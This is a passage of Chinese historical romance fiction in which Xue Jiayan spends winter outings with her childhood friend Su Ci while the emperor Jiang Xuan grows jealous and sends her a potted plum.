薛嘉言也被勾起了回忆,掩口轻笑:“怎么不记得?为这事,我还闷闷不乐了好几天呢。今日桌上还真有咸鸭蛋,是我娘上次南归,特意从高邮带回来的,蛋黄流油起沙,跟北方这边腌的风味确有些不同,待会儿苏大哥尝尝。” 晚膳时分,花厅里摆开一桌精致的江南菜肴:清蒸鲥鱼、蟹粉狮子头、腌笃鲜、油焖春笋……自然还有那碟红油亮色、蛋黄流沙的高邮咸鸭蛋。吕氏作陪,棠姐儿也乖巧地在旁,席间言笑晏晏,说起江南风物、旅途见闻,宾主尽欢,暖意融融。苏辞谈吐风趣,见识广博,又不失稳重,一顿饭下来,连吕氏都对他赞不绝口。 待到夜深人静,送走苏辞后,薛嘉言服侍吕氏歇息时,想起席间苏辞提及尚无子嗣的话,心中好奇,便轻声问道:“娘,今日听苏大哥说,他尚无孩子。可是……苏大嫂身体不适?或是有什么别的缘故?” 吕氏正在梳理长发的手顿了顿,轻叹一声,压低声音道:“这事……说来也是你苏大哥运道不佳。苏伯远跟我提起,六年前,家里给他说了一门亲事,是当地一个书香门第的姑娘,两家都颇为满意。谁知临过门前,那姑娘不知怎的,突然铁了心要出家为尼,闹得不可开交,亲事只得作罢。” 薛嘉言微微睁大了眼睛。 吕氏继续道:“本以为过了便过了,四年前,家里又给他相看了一户家境殷实、品貌皆佳的姑娘。这次倒是顺利走到了纳吉请期,眼看好事将近。谁知,迎亲前几日,忽然冒出一个穷书生,跪在苏辞面前痛哭流涕,声称与那姑娘早已私定终身,求苏家成全……亲事自然又黄了。” “接连两桩婚事,都这般收场,你苏大哥心里怕是也存了疙瘩,觉得或许是自己姻缘不顺,便不肯再轻易议亲。为这事,苏伯远愁得头发都白了不少,却又拿这个倔儿子没办法。” 薛嘉言听完,心中唏嘘不已。没想到苏辞那般出色的人物,在姻缘路上竟如此坎坷。她不由道:“苏大哥人才品貌都是一等一的,许是缘分未到,或是眼光高了些。娘,您人面广,心思又细,不如帮苏大哥留心着,在京中或南边,若有合适的姑娘,也可帮忙牵个线?” 吕氏听了,认真琢磨了一下,点点头:“苏辞这孩子,人品端方,能力出众,又重情义。这般人才,确实不该被那两桩糟心事误了终身。回头我仔细想想,看看有无合适的人家。想必只要他肯点头,愿意把女儿许给他的人家,不会少。” 吕氏这话,倒是一语中的。 苏辞此番来戚家,虽只在前院花厅与内院用了顿饭,但他气度不凡,容貌英俊,待人接物沉稳有礼,早已被有心人瞧在眼里。 这人不是别人,正是躲在暗处悄悄张望的栾氏。 她原本是因着白日薛嘉言设宴,动静不小,心下好奇,偷偷溜到连通内院的月洞门边,借着花木掩映窥看。这一看,便瞧见了告辞出来、由薛嘉言亲自送至二门的苏辞。 只见那男子身姿挺拔,面容俊朗,虽肤色微深,却更添男子气概,穿着一身质地考究的锦袍,行走间从容不迫,与薛嘉言和吕氏道别时言谈举止更是谦和得体。栾氏立刻上了心。 她打听到这男子是“亲家太太的亲戚”,“姓苏”,“家里像是做大生意的”,别的也不甚清楚。 但这对栾氏来说,已经足够了! 吕氏的亲戚!家里做生意,看起来颇为富足!关键是,这男子长得一表人才,比女儿心心念念的那个魏世子瞧着还要端正英挺! 一个念头如同野草般在栾氏心里疯长起来:若是能把这人,说给倩蓉,岂不是天大的好事?倩蓉见了,定然喜欢!总好过她现在没名没分地巴着魏世子!况且,这人是商贾之家,或许不像伯府门槛那么高,这门亲事说不定能成! 栾氏仿佛已经看到了女儿风光嫁入富户、自己也能跟着沾光享福的美好未来,脸上不由浮现笑容。 第233章 雪中红梅 腊月底,年关将近,京城的年味一日浓过一日。 苏辞因着生意往来和与吕氏的亲厚,不时来戚家走动,有时是送些年货,有时是与薛嘉言商议生意细节,有时只是陪吕氏说说话。 这日,吕氏看着窗外簌簌落下的细雪,又见苏辞来访,不由关切问道:“子玉,这眼瞅着就要过年了,你不回阿拉坦汗去吗?你父母定然是盼着你回去的。” 苏辞坐在下首,闻言微微一笑,神态自若:“伯母,生意人东奔西走是常事,赶不及回家过年也是有的。况且,我这是头一遭来京城,天子脚下,繁华之地,又恰逢年节,正该好好见识一番。家里还有弟妹陪伴父母,我不必急着回返。” 吕氏听了,点点头,心下却觉这孩子有些孤单,大过年的独自在外,只是不好邀他一同过年。 苏辞又适时笑道:“我对京城着实不熟,这些日子虽走了几处,也只识得皮毛。还望伯母和嘉嘉能多指点,若有闲暇,带我这外乡人逛逛,便是最好不过了。” 吕氏本就喜欢他,闻言立刻道:“这有何难?京城过年,热闹去处多的是,我左右无事,带着你转转,正好也让我外孙女出门玩玩。” 腊月里,苏辞时常来请吕氏作陪,棠姐儿每次都跟着,薛嘉言有几次顺路也跟着逛了逛。 他们或是去逛有名的年货集市,或是去香火鼎盛的寺庙祈福;偶尔也去听一场戏,品一壶茶。苏辞谈吐风趣,见识广博,又极有耐心,与他同行颇为轻松愉快。 苏辞总能在吕氏或者薛嘉言略显疲惫时,适时提议歇脚,在她们对某样东西多看两眼时,默默记下,回头便以“顺手买的”为由送来,体贴却不逾矩。 日子在忙碌与偶尔的闲适中滑过,一夜北风紧,清晨推窗,外面已是一个银装素裹的世界。大雪封路,寒气凛冽。 偏偏这时,通州那边的织行出了点急事,说是有一批紧要的年礼布料在运送途中被大雪耽搁,又牵扯到工钱结算的纠纷,管事的处理不当,闹了起来,需得主家亲自去一趟才能平息。 薛嘉言无法,只得匆匆穿戴了厚实的斗篷,命人备好暖炉手炉,乘着特制的防滑马车,顶着风雪赶往通州。 事情涉及到当地的地头蛇与织工两方的矛盾,薛嘉言沉着应对,逐一梳理,耗去了大半天功夫,颇费心神。 这时织行账房厚厚的棉帘被掀起,带进一股寒气,进来的正是苏辞。他肩头落着风霜,面色被冻得微红,朝薛嘉言略一颔首,细问了缘由,几句话便点出关窍,既给了对方台阶,又守住了薛嘉言的底线,最终达成了双方都能接受的方案。 待到事情处理妥当,已是午后。雪虽停了,但天色依旧阴沉,回城的路被厚厚的积雪覆盖,行车需格外小心。 薛嘉言与苏辞各自上了马车和马匹,缓缓起程。 行至一处岔路附近,苏辞忽然轻叩车厢,示意停车。薛嘉言疑惑,掀开车帘看去。 苏辞骑在马上,指着远处一片覆雪的山坡道:“嘉嘉,你看那边。” 薛嘉言顺着他所指望去,只见一片雪白之中,隐约可见点点嫣红,疏密有致,如同在白绢上洒落的朱砂,煞是醒目好看。原来是一片野生的梅林,在这冰天雪地里傲然绽放。 “是梅花。” 苏辞语气温和地提议,“这雪后红梅,难得一见。反正天色尚早,回去也无急事,不如我们去看看?我记得,小时候在丹阳吕家老宅,后园也有几株老梅,每当下雪,我们总爱跑去瞧,你还非要学古人‘踏雪寻梅’,弄得鞋袜尽湿,回去被嬷嬷好一顿说。” 他提起童年趣事,声音里带着温暖的笑意,眼神也追忆似的飘向远方。 薛嘉言被他话语勾起了久远的记忆。那些无忧无虑的时光,仿佛已是上辈子的事了。她看着远处那一片朦胧的红,心中微动。 又想到,苏辞年后便要返回鞑靼,那边山长路远,世事无常,此番别过,此生还能再见几次,实未可知。 略一迟疑,薛嘉言终是点了点头,唇角漾开一丝浅浅的的笑意:“也好。这般雪景红梅,确是少见。” 见她应允,苏辞眼中笑意更深,他利落地翻身下马,等着薛嘉言下车。 “走吧。”苏辞温声道,与她并肩,踏着松软的积雪,朝着那片白雪红梅掩映的林子缓缓走去,仆从们默契地跟在后面。 雪地寂静,只闻脚踩积雪的咯吱声。寒风拂过,带来清冽的空气中一丝极淡的、冷幽幽的梅香。薛嘉言深吸一口这洁净的气息,连日来的疲惫与方才处理麻烦的紧绷,似乎都被这冰雪与寒香涤荡去了些许。 老梅遒劲,新枝横斜,红梅如胭脂点点,白梅似玉屑纷纷,薛嘉言素来爱画,见此佳景,已在心中默默构思起来。 她面前一株姿态尤其古拙的梅树,一枝苍劲梅干斜逸出,枝头疏密有致地点缀着数朵红梅,背后衬着雪后初霁、澄净如洗的湛蓝天空,色彩对比鲜明,构图天然成趣。 “这个角度甚好。”薛嘉言心念微动,不由停下脚步,微微弯下腰,从较低的角度仰视那枝横梅,让梅枝的线条在蓝天的背景下更为清晰。她屏息凝神,将这幅“寒枝映碧空”的画面细细印刻在脑中,盘算着回去后便铺纸研墨,将此景付诸笔端。 薛嘉言专心记忆构图,直起身时,却忘了头顶上方还有交错的其他梅枝。 “嘶——”头皮传来一丝轻微的拉扯痛感,薛嘉言轻呼一声,这才发现自己的发髻被另一根较低的梅枝勾住了几缕青丝。 紧随其后的司雨见状,急忙上前欲帮忙。然而有人动作更快。 第234章 让我照顾他 几乎是薛嘉言轻呼的同一瞬间,身侧的苏辞已上前一步。 他动作迅捷却异常轻柔,一手极小心地虚托住那根勾住头发的梅枝,另一手的手指灵巧地穿梭于发丝与枝杈之间,不过三两下,便在不扯断头发也不弄疼她的情况下,将缠绕处解开了。 苏辞就着托住梅枝的手,指尖微一用力,“咔”一声轻响,干脆利落地将那根“肇事”的梅枝折了下来。 他拿着那枝犹带白雪与花苞的梅枝,转身面向薛嘉言,眼中含着清浅温和的笑意,语气带着几分轻松的调侃:“此枝顽皮,冒犯了嘉嘉,合该折下赔罪。” 说着,他顺手将梅枝下端一些过于细乱、可能刺手的杂枝小杈掰去,略作修整,然后才递到薛嘉言面前。 “带回去插瓶,也算不虚此行。”他看着她,笑意更深了些,语气自然如同闲话家常,“我记得,你从小便爱画,这梅枝姿态不错,带回去对着写生,或能添些灵感。” 薛嘉言没想到这么多年苏辞还记得她的爱好,心中微微一暖,接过梅枝,敛眸轻声谢过:“多谢苏大哥。”随即将梅枝递给身后的司雨,嘱咐小心拿着。 苏辞的目光在她略显单薄的肩头停留了一瞬,关切问道:“在雪地里站了这许久,可觉得冷?”说着,竟抬手便要解自己身上那件厚实的玄色貂绒披风系带,看架势是想为她披上。 薛嘉言心中一凛,连忙后退半步,摆手道:“不冷,一点儿也不冷。我穿得厚实,方才走动间还有些发热呢。苏大哥你自己穿着便是,莫要着凉。” 她语气尽量放得自然,但拒绝之意明确。 这过于贴近的关怀,让她隐隐感到一丝异样。薛嘉言不愿让这微妙的气氛继续发酵,更不愿彼此尴尬,心思一转,索性将话题引向一个安全又自然的方向。 “说起这个,”薛嘉言抬起眼,脸上露出带着点打趣的轻松笑容,“前几日我娘还跟我念叨呢,说苏大哥你人品才貌俱佳,姻缘上却这般坎坷,实是可惜。她正留心着,想帮你在京中或丹阳,寻摸一位品性样貌都配得上你的好姑娘呢。你可有什么偏好?我也好帮着娘亲参详参详。” 苏辞深深看了薛嘉言一眼,慢慢将系带重新理好,唇角依旧噙着那抹淡笑。 “有劳姑母和嘉嘉费心了。”他声音平和,听不出什么情绪,“姻缘之事,讲究缘分,强求不得。许是我缘分未到,又或是……命中注定要晚些。此事,不急。” 与郊外梅园的清冷不同,长宜宫内,鎏金熏笼里银炭烧得正旺,驱散了冬夜的寒意。 姜玄批阅完一叠奏折,揉了揉有些发酸的腕骨,起身活动了一下筋骨,便信步走向暖阁。 暖阁里温暖如春,阿满刚被喂饱,正精神十足地躺在铺着厚厚绒垫的摇床里,挥动着藕节似的小胳膊,咿咿呀呀地自说自话。见到父亲高大的身影靠近,小家伙黑葡萄似的眼睛立刻亮晶晶地望过来,嘴里发出“啊、啊”的欢喜音节。 姜玄冷峻的眉眼瞬间柔和下来,俯身将他小心地抱入怀中。沉甸甸、暖呼呼的小身子偎在胸前,带着奶香味,瞬间抚平了他眉宇间残留的烦扰。 姜玄用下巴轻轻蹭了蹭儿子柔嫩的脸颊,阿满被逗得咯咯直笑,小手无意识地抓挠着父亲衣襟上的盘扣。 正沉浸在这难得的温情时刻,陆怀轻手轻脚地走进来,躬身禀道:“陛下,太后娘娘驾到,说是来看看大皇子。” 姜玄眸中闪过一丝沉吟。自康王事败身亡后,太后着实消沉了很长一段时间,深居简出,连宫务都交由沁芳打理,与他的关系也越发疏离冷淡。 姜玄觉得,或许经过这番打击,太后终于能明白,有些事、有些人,强求终究无果,执念太深反害人害己。 就像当年太后一力促成康王娶了赵敬伟之女,看似捆绑了两家势力,可这么多年过去,康王夫妇不睦人尽皆知,最后更是落得那般下场。前车之鉴犹在眼前,她对他的心思,或许已经淡了。 姜玄对着陆怀点了点头:“请母后进来吧。” 不多时,环佩轻响,太后在宫人的簇拥下缓步走了进来。她今日穿着一身沉香色绣金凤云纹宫装,外罩同色狐裘披风,发髻梳得一丝不苟,戴着九翚四凤冠,仪容端庄华贵,只是眉眼间那份惯有的凌厉稍减,添了几分沉静。 自紫宸殿那夜彻底撕破脸后,这是母子二人首次在夜间单独会面。暖阁内气氛一时有些凝滞。 姜玄抱着阿满,依礼微微躬身:“儿子给母后请安。” 太后只淡淡“嗯”了一声,算是回应,径直走了过来。她站在姜玄面前几步远,微微倾身,仔细打量着阿满,小家伙也睁着乌溜溜的大眼睛好奇地看着她。 半晌,太后唇角几不可察地弯了一下,浮上一丝弧度,声音也放轻了些:“这孩子,看着真机灵。这眉眼……瞧着像你。” 姜玄将怀中的阿满稍稍托高了些,让太后看得更清楚,语气平静中带着一丝不易察觉的柔软:“是,他是有些像我。” 太后似乎被这话触动,沉默了片刻,忽然伸出手:“给哀家抱抱。” 姜玄小心地将阿满递了过去,太后接过孩子,动作明显有些生疏僵硬。她未曾生育,入宫时先帝年迈,宫中已久无婴啼,她抱孩子的姿势显得十分别扭,手臂不知该如何弯曲才能让孩子舒服,自己也觉着力道不对,下意识地调整了几次,才终于找到一个相对稳妥的姿势。 太后低头,看着阿满饱满光滑的小脸蛋,孩子纯净无垢的眼睛也正懵懂地回望着她。触及那细腻温热的肌肤,一股极其复杂的情绪骤然漫过心头——有奇异的柔软,有难以言喻的陌生,更有深不见底的悲怆与空洞。 她面上依旧维持着那浅淡的笑意,极轻地摩挲了一下阿满的脸颊,并未看旁边的姜玄,仿佛只是随口说起:“皇帝日理万机,政事繁忙。哀家左右在长乐宫也是闲着无事,不如……让哀家帮你照看这个孩子吧。你放心,哀家会疼爱他的。” 第235章 送梅 姜玄心中警铃微作。 他面上不动声色,只温和却异常坚定地回道:“母后慈爱,儿子心领。只是阿满尚在襁褓,夜间需人仔细看顾,乳母宫人皆已熟悉他的习性。朕虽政务繁忙,但每日抽空看他的时辰还是有的。照看之劳,实不敢烦扰母后。” 太后脸上的笑意,随着他清晰明确的拒绝,一点点淡了下去,最终消失无踪,只剩下一片平静。她没再坚持,也没露出愠怒,只是淡淡地说了一句:“那便如此吧。” 她将怀中的阿满递还给一旁垂手侍立的奶娘,仿佛刚才那片刻生疏的温情只是错觉。 “今儿来,还有一事。”太后转过身,重新面向姜玄,语气恢复了长乐宫主人该有的疏离与矜持。 一旁侍立的奶娘见状忙抱着阿满走远了些。 太后不紧不慢道:“马上又是新年了。皇帝,你已二十有一。朝臣们不敢直接催你,这些日子,明里暗里到哀家跟前说道的可不少。哀家也正好问问你的打算。” 姜玄神色不变,甚至带着点漫不经心:“朕已经有了皇长子,宗庙有继,他们还急什么?” 太后道:“皇帝说笑了。你如今只有一个儿子,生母柳美人福薄早逝,难道往后这偌大后宫,就空置着,再也不进人了?于礼不合,于国,也不稳。” “哦,”姜玄恍然般点了点头,语气平淡得仿佛在讨论今日天气,“母后说的是。那……朕就立后吧。” “立后”二字出口,暖阁内的空气似乎凝滞了一瞬。两人几乎同时想到了不久之前,太后在紫宸殿内那番言辞。 太后袖中的手指猛地收紧,她咬紧了牙关,才将翻涌的情绪压下去,声音听不出喜怒:“好啊。皇帝如今春秋正盛,也确实该立后了,以正宫闱,以安朝野之心。哀家回去便着手操持起来,着内务府和礼部拟了章程,宋家也有合适的姑娘,皇帝想来应该不会忘了当年的事吧?” 说罢,太后没有等姜玄回复,站起来径直转身,扶着沁芳的手,头也不回地走出了暖阁。 姜玄站在原地,望着太后离去的方向,眉头微蹙,陷入沉思。 又逗看一会阿满,姜玄回到寝殿,褪下外袍,正欲歇息,甘松端着一盏温热的参茶轻手轻脚地走了进来。 “陛下,用盏参茶安神吧。”甘松将茶盏奉上。 姜玄接过,慢慢呷了几口,甘松上前半步,压低声音道:“陛下,今日薛主子出城,去了一趟通州的织坊。” 姜玄“嗯”了一声,嘉言打理生意,外出是常事。 “怎么了?可是路上遇到什么事?”他随口问道,心想莫不是又遇到不长眼的冲撞了她。 甘松觑着他的脸色,小声道:“倒无他事。只是……回城的路上,与薛主子同行的苏家少东家,见雪后梅林景致甚好,便邀请薛主子一同去赏了梅。一行人在那处梅园逗留了约莫一盏茶的时辰。临行前,苏少东家……还亲手折了一枝开得正好的红梅,赠予了薛主子。” 姜玄原本半阖的眼眸倏然睁开,困意瞬间消散。他猛地从榻上坐直身体,眉头紧锁,目光锐利地看向甘松:“苏伯远的儿子?多大年纪了?可曾婚配?相貌如何?” 他连珠炮似的发问,语气里带着自己都未曾察觉的紧绷。 甘松心头一凛,连忙垂首,将打听到的消息仔细回禀:“回陛下,听拾英提起,苏家少东家今年二十有六,尚未婚配。至于相貌,”他顿了顿,尽量客观描述,“拾英姑娘说,生得高大英伟,眉目疏朗,气度沉稳,称得上一表人才。” 姜玄胸口莫名涌上一股滞闷之气,像被什么堵住了,极不舒服。那苏辞护送吕氏回京,他原只当是个寻常的故交晚辈、生意伙伴,未多加留意。如今看来,此人不仅频繁出入戚家,还能邀得嘉言同去赏梅,甚至……赠梅? 薛嘉言再无半分睡意,挥手让甘松将参茶撤下,自己起身在殿内踱了几步。 “今年各地进贡的盆景里,可有梅花的?”他忽然停步,问道。 甘松一愣,忙答:“回陛下,有的。苏州和徽州都进了几盆老梅盆景,虬枝苍劲,花开得也好,是珍品。” “嗯。”姜玄沉吟片刻,吩咐道,“去挑一盆最雅致的,送去。” “是。”甘松应下,很快从内务府库房里寻出了一盆被精心养护的徽州老梅盆景。枝丫疏朗有致,点点红梅缀于其上,暗香隐隐,确实堪称极品。他未敢耽搁,先将盆景送到了张鸿宝处。 张鸿宝看着那盆梅花盆景,心中已然明了。 次日,这盆被黑布妥帖罩住的盆景,便混在“福运粮行”送往戚家的年礼车队中,悄无声息地抬进了春和院。 彼时,薛嘉言正坐在临窗的书案前。窗台上的一个素白瓷瓶里,斜斜插着一枝红梅,花瓣上犹带寒意,却傲然绽放,正是昨日苏辞所赠的那一枝。书案上铺着宣纸,薛嘉言握着棠姐儿的小手,正耐心地教她如何勾勒梅花的花瓣,如何表现枝干的遒劲。 “主子,”拾英引着两个粗使仆妇,抬着一个用厚重黑布罩着的东西进来,脸上带着笑意,“外头送来的,说是盆景年礼。” 薛嘉言抬头,有些疑惑:“盆景?谁送来的?” 拾英笑着没说话。 正说着,仆妇已将东西放下,揭开了黑布。 一盆姿态奇绝、红梅盛放的老梅盆景显露出来。它比窗台上那单枝的梅花,更多了岁月的沉淀与人工巧思雕琢的雅致,古意盎然,幽香袭人。 “哇!真好看!”棠姐儿眼睛一亮,拍着小手赞叹。 薛嘉言也觉得这盆景确实是佳品,无论造型还是花势,都属上乘. 她猜到这是姜玄送来的,心中欢喜,装作若无其事地吩咐拾英:“把架子那边那盆水仙挪开些,把这盆梅花摆上去吧。摆在亮堂又能避着风口的位置。”她走近些,仔细看了看盆景的枝叶和土壤,“让春梅她们仔细些伺候着,应该能一直开到正月里。” 第236章 同游 正说着,丫鬟春梅掀了帘子进来,禀报道:“主子,苏大爷来了,正在夫人屋里说话呢。说起这几日京城里热闹,小翠湖那边结了老厚的冰,来了个顶有名的冰嬉杂耍班子,在冰上翻跟头、舞幡、钻火圈,演得可好了,听说票子难买得很。苏大爷有心,提前买了好几张票,想明儿个带咱们棠姐儿去开开眼,特来问问主子您,看能不能让棠姐儿去。” 薛嘉言想着苏辞为人稳妥,母亲又同去,看场冰嬉杂耍,让孩子高兴高兴,也是好事。 她便点了点头:“苏大哥有心了。你去回话,就说有劳苏大哥费心,棠姐儿可以去。让司雨过来,仔细安排一下明儿出行的事,跟车的人、暖手的炉子、替换的厚衣裳,都得备齐全了。” “哎!”春梅高兴地应了,转身出去传话并叫司雨。 棠姐儿像只欢快的小雀儿扑到薛嘉言腿边,仰着小脸,眼睛里闪光:“娘亲!娘亲!明天真的能去看冰嬉吗?我还没看过呢!” 薛嘉言笑着摸摸她的头:“是,你苏伯伯买了票,明儿个外祖母带着你,还有司雨她们陪着,一起去小翠湖看看。” 棠姐儿脸上的笑容却瞬间凝了一下,小嘴撅了起来:“娘亲你不去吗?” 她抓着薛嘉言的衣袖摇晃,“娘亲为什么不去呀?我想娘亲也一起去嘛!” 薛嘉言温声解释:“娘亲得在家里照看宁哥儿呀。弟弟还小,离不得人。” “弟弟除了吃就是睡,乳娘和芭蕉姐姐她们都在呢!”棠姐儿思路清晰,显然对这个理由不满意,她更紧地抱住薛嘉言的胳膊,声音里带上了委屈和恳求,“哪里就需要娘亲时时刻刻守着了?娘亲……你还没陪我去看过冰嬉呢……” 薛嘉言想起自己童年时,父母曾一起带她逛庙会、看百戏,回忆起来都是美好。看着女儿满是期盼又隐含失落的眼睛,薛嘉言的心软了。 “而且,娘亲最近都好忙……”棠姐儿小声补充,把脸埋进她怀里。 薛嘉言心中叹了口气。是啊,她忙于生意,忙于周旋,能纯粹陪伴女儿的时间确实不多。 “好了好了,”薛嘉言揽住女儿,妥协道,“娘亲陪你去,陪你一起去,好不好?” “真的?”棠姐儿猛地抬起头,眼睛一下子亮得惊人,脸上瞬间阴转晴,绽放出大大的笑容,搂住薛嘉言的脖子,“娘亲最好啦!棠姐儿最喜欢娘亲了!” 第二日,天气晴好,虽依旧寒冷,但阳光明亮,是个适合出游的日子。 薛嘉言仔细给棠姐儿穿戴整齐,自己也换了身既保暖又不失体面的藕荷色绣缠枝梅纹的缎面出锋袄裙,外罩一件银狐裘斗篷,又戴了风帽,遮住大半头脸。吕氏也收拾停当,三人乘了马车,一路往小翠湖而去。 冬日的小翠湖湖面冻得坚实如石,成了一处天然的冰场。薛嘉言远远便瞧见湖的北边一大片区域被彩绸和围栏圈了起来,各色彩旗在寒风中猎猎作响,入口处人头攒动,喧嚣声隔着老远就能听到,看来应该就是冰嬉所在地了。 苏辞早已候在围场入口处。他今日穿着一身深青色暗云纹箭袖锦袍,外罩同色大氅,身姿挺拔如松,在熙攘人群中格外醒目。他迎上前,脸上漾起温煦明朗的笑容,先向吕氏见了礼,又对薛嘉言含笑点头,最后才看向被薛嘉言牵着手、眼睛好奇地四处张望的棠姐儿。 棠姐儿也跟苏辞熟了,冲他露出一个大大的笑脸。 有苏辞在前引路,几人很快穿过拥挤的人流,上了湖边一艘早已预定好的画舫。画舫停在离冰嬉表演区不远的湖面,位置极佳,既能将冰上表演尽收眼底,又相对清静。 画舫二层是一个温暖雅致的小厅,四面的雕花长窗糊着明纸,光线充足。中央摆着烧得正旺的暖炉,驱散了冰湖上侵人的寒气。临窗设了舒适的坐榻和茶几,上面摆着几碟点心和茶水,还有专为棠姐儿准备的蜜饯果子。 “苏大哥费心了。”薛嘉言环视一周,轻声道谢。这安排确实周到,既能让棠姐儿玩得开心,又最大限度地保障了女眷的舒适与私密。 几人略坐了坐,喝了口热茶暖身。不多时,便有画舫上的仆役进来恭敬禀报:“苏爷,冰嬉表演就要开场了。” “太好啦!”棠姐儿立刻从坐榻上蹦下来。 薛嘉言拿过棠姐儿的孔雀蓝小斗篷,仔细为她系好带子,又将她的兜帽拉起来戴好,只露出一张红扑扑的小脸。 “外头冷,看一会儿若是觉得冻,就赶紧进来,知道吗?” “知道啦娘亲!”棠姐儿迫不及待,被穿戴好后,像只快乐的小鸟,率先推开通往外面观景平台的雕花门,跑了出去。 吕氏笑着摇摇头,也起身跟了出去,司雨和另一个丫鬟连忙携了手炉和备用斗篷紧随其后。 苏辞走到门边,侧身,伸手做了个“请”的姿势含笑道:“嘉嘉,一起出去吧?这位置看表演最是清楚。” 薛嘉言却站在原地没动。她微微蹙了下眉,抬手轻轻按了按自己的太阳穴,声音也低了些:“苏大哥,你们去吧。我……我忽然觉得有些头疼,许是早上出来时吹了冷风。想在里面歇一歇。” 苏辞脸上的笑容立刻转为关切,上前一步:“头疼?要紧吗?这画舫上备着常用的丸药,我去问问。或者,我现在就带你去看大夫?附近就有医馆。” 薛嘉言摇了摇头,勉强笑了笑:“不碍事的,没那么严重。就是有点闷闷的,我坐一会儿,喝点茶,应该就好了。冰嬉难得,莫要耽误了,你去吧。” 她语气坚持,苏辞见她似乎并无大碍,也不好强求。他犹豫了一下,叮嘱道:“那你好好歇着,若是不舒服,立刻让人叫我。我就在外面。” “嗯,知道了,多谢苏大哥。”薛嘉言点点头。 第237章 冰嬉 见薛嘉言并没什么事,苏辞猜到一二,一步三回头地出了雅室,轻轻带上了门,将室内的温暖与静谧留给了薛嘉言。 外面,锣鼓点子已经热热闹闹地敲响起来,紧接着,是潮水般的喝彩声、惊呼声、鼓掌声,一浪高过一浪,间或能听到棠姐儿清脆的、充满惊叹的童音。 冰嬉表演在一片更为热烈的喝彩与赞叹声中结束。棠姐儿脸蛋红扑扑地跑回雅室,像只小喜鹊般叽叽喳喳地向薛嘉言描述刚才看到的精彩场面:“娘亲!你没看到太可惜了!有个人能在冰上连着翻十八个跟头!还有一个姐姐,踩着那么高的跷,还能在冰上跳舞,像仙女一样!还有还有,他们用幡子摆出了一个大大的‘福’字……” 小丫头手舞足蹈,眼睛亮得惊人,显然还沉浸在刚才的兴奋中。 苏辞跟在她身后进来,脸上带着温和的笑意,听棠姐儿说完,适时开口,语气带着诱哄:“棠姐儿看得这么高兴,想不想自己也去冰上玩一玩?” 棠姐儿立刻被吸引了注意力,睁大了眼睛:“真的可以吗?” 苏辞指了指窗外的另一个方向,“小翠湖另一边,专门划出来给大家游玩嬉冰的,有很多人在玩冰车、抽陀螺、滑冰呢。苏伯伯会玩冰车,可以拉着棠姐儿,在冰上飞起来,像刚才表演的人那样快,好不好?” “像飞起来一样?”棠姐儿想象着那场景,满眼都是跃跃欲试的光芒,她立刻转向薛嘉言,小手抓住她的衣袖,眼巴巴地恳求:“娘亲,我想去玩!想去玩冰车!” 吕氏在一旁看着外孙女期盼的模样,也笑着帮腔:“孩子难得出来一趟,既然来了,就让她去玩玩吧,小心些便是。” 薛嘉言看着女儿那几乎要蹦起来的兴奋劲儿,又见母亲和苏辞都开了口,实在不忍扫兴。她略一迟疑,终是点了点头,叮嘱道:“玩可以,但要听苏伯伯的话,抓紧了,不能乱动。觉得冷或者害怕了,要马上说。” “我一定听话!”棠姐儿立刻大声保证,高兴得几乎要跳起来。 一行人便离了画舫,转道前往小翠湖另一侧专门开辟的公共嬉冰区。这里比表演区更为喧闹,充满了孩童的欢笑和年轻人的呼喝声。湖面上,到处是嬉戏的人群。 棠姐儿一到岸边,便迫不及待地想要往冰上跑,被薛嘉言轻轻拉住。苏辞早已安排妥当,先换上了一双结实的冰鞋,又让随从推来一辆冰车。他先自己试了试冰面,确认稳妥后,才小心翼翼地将棠姐儿抱上去坐好,让她两只小手紧紧抓住面前的横杆。 “棠姐儿,抓稳了!咱们要飞喽!”苏辞朗声一笑,握住冰车前端的拉绳,脚下冰鞋在冰面上轻轻一蹬—— 冰车倏然启动,速度由缓至疾,如同离弦之箭般在宽阔的冰面上滑行起来!起初的加速让棠姐儿惊叫一声,紧张地闭紧了眼睛,小手死死攥着横杆。但很快,在苏辞稳健的掌控和匀速的飞驰中,她适应了这种风驰电掣的感觉,悄悄睁开了眼。只见两边的景物飞快地向后倒退,寒风拂面,却带着一种前所未有的刺激与畅快。 “啊——!飞起来啦!苏伯伯再快一点!”棠姐儿渐渐放开胆子,兴奋地喊了起来,小脸上绽开大大的笑容。 薛嘉言和吕氏站在湖岸边一处略高的地方,戴着帷帽,远远望着。满场嬉戏的人群中,苏辞的身影确实鹤立鸡群。他本就生得高大挺拔,因常年往返北地,练就了一身精湛的冰嬉技艺,在冰上行走、滑行,无不显得矫健流畅,充满力量感。 不少在湖边观看或休息的人,目光都不自觉地被苏辞吸引。尤其是些年轻姑娘和妇人,三三两两地聚在一起,指着冰上那道矫健的身影,窃窃私语,边说边捂着嘴笑,眼神里带着欣赏与羞涩。 薛嘉言看着,不由轻声对身旁的吕氏笑道:“娘,您瞧,苏大哥这样的人才,走到哪里都招人喜欢。您定能说成一桩极好的姻缘。” 吕氏却叹了口气,摇摇头:“只怕没那么容易。你是不知道,这几日我私下里提了几位我觉得不错的姑娘,家世、品貌都拿得出手,可子玉都客客气气地给推了。我这心里啊,反倒没底了。” 母女俩正低声说着话,薛嘉言忽然隐隐觉得有些异样。仿佛有一道目光,隔着一段距离,落在自己身上。 她下意识地停下话头,借着整理帷帽的动作,不动声色地微微转头,向四周缓缓扫去。岸边人来人往,看冰嬉的,等家人的,小贩穿梭叫卖……目光杂乱,熙熙攘攘。她仔细分辨着,试图找到那道视线的来源,却一无所获。 是错觉吗?薛嘉言微微蹙眉,心中那根弦却不由自主地绷紧了些许。 薛嘉言没有感觉错——的确有人在看她。 而那人,正是姜玄。 原来临近年关,下朝后,他将五城兵马司指挥使杨泰华单独留下,细细询问年节期间京畿巡防、火患防范、市井治安诸事。杨泰华一一禀明,姜玄便要跟他微服出去巡查一番。 杨泰华大惊,连忙劝阻:“陛下万金之躯,岂可轻涉市井?” “无妨。”姜玄已起身,“就当散散这连日的闷气。” 于是,一行人悄然出宫,混入市井。姜玄身着便服,只随杨泰华及几名便衣侍卫沿街巡查,其余暗卫则伪装随侍左右。 行至小翠湖,姜玄听见那里果然人声鼎沸,又见人潮涌动,便过去查看了一番。 满场欢笑的人群里,姜玄的目光很快就被一大一小锁定了。 冰场中央,一辆朱漆冰车正被一名高大男子牵引疾驰。车上坐着个穿红袄的小姑娘,双颊冻得通红,笑声清脆如铃,正是棠姐儿。 瞧见棠姐儿,姜玄心头一软,随即又是一紧。 他下意识在人群中搜寻,目光掠过卖糖人的老翁、倚栏观戏的妇人、嬉笑追逐的少年……最终,落在湖畔一株枯柳下。 